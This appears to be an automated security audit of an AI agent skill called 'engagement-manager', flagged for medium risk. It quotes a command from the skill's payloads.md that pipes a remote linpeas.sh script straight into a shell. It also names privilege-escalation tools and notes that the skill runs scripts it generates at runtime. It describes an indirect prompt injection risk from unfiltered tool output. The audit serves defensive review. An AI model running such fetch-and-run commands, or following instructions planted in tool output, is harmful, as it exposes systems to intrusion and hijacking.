engagement-manager

Warn

Audited by Gen Agent Trust Hub on Sep 19, 2026

Risk Level: MEDIUMREMOTE_CODE_EXECUTIONDYNAMIC_EXECUTIONINDIRECT_PROMPT_INJECTIONCOMMAND_EXECUTIONPRIVILEGE_ESCALATION
Full Analysis
  • [REMOTE_CODE_EXECUTION]: The skill contains commands that download scripts from third-party GitHub repositories and pipe them directly into a shell for execution.
  • Evidence: curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh in payloads.md. Although this is a common security tool, the repository belongs to an unverified third-party individual rather than a trusted organization, and piping remote content to a shell is a high-risk execution pattern.
  • [DYNAMIC_EXECUTION]: The skill frequently generates shell scripts or resource files at runtime and subsequently executes them.
  • Evidence: In payloads.md, the skill creates Metasploit resource scripts (cat > engagement/evidence/exploit/exploit.rc) and general bash scripts in temporary directories (cat > /tmp/risk_register.sh) followed by immediate execution via msfconsole -r or bash.
  • [INDIRECT_PROMPT_INJECTION]: The skill processes untrusted data from external security tools which could contain malicious instructions from an attacker-controlled target.
  • Ingestion points: Tool output files stored in engagement/evidence/ (e.g., recon-results.json, scan-results.xml, nuclei_results.txt).
  • Boundary markers: Absent. The instructions do not provide delimiters or warnings to the agent to ignore instructions embedded within these outputs.
  • Capability inventory: The skill has access to Bash, Write, Edit, and Agent tools, which could be leveraged if an injection is successful.
  • Sanitization: Absent. There are no documented procedures for validating or escaping content read from tool outputs before the agent processes them.
  • [COMMAND_EXECUTION]: The skill makes extensive use of the Bash tool to perform sensitive operations such as scanning local networks, probing remote services, and attempting exploitation.
  • [PRIVILEGE_ESCALATION]: The skill includes specific phases and payloads dedicated to discovering and exploiting privilege escalation vulnerabilities on both Linux and Windows systems (e.g., linpeas.sh, winpeas.exe, mimikatz.exe).
Audit Metadata
Risk Level
MEDIUM
Analyzed
Sep 19, 2026, 04:36 PM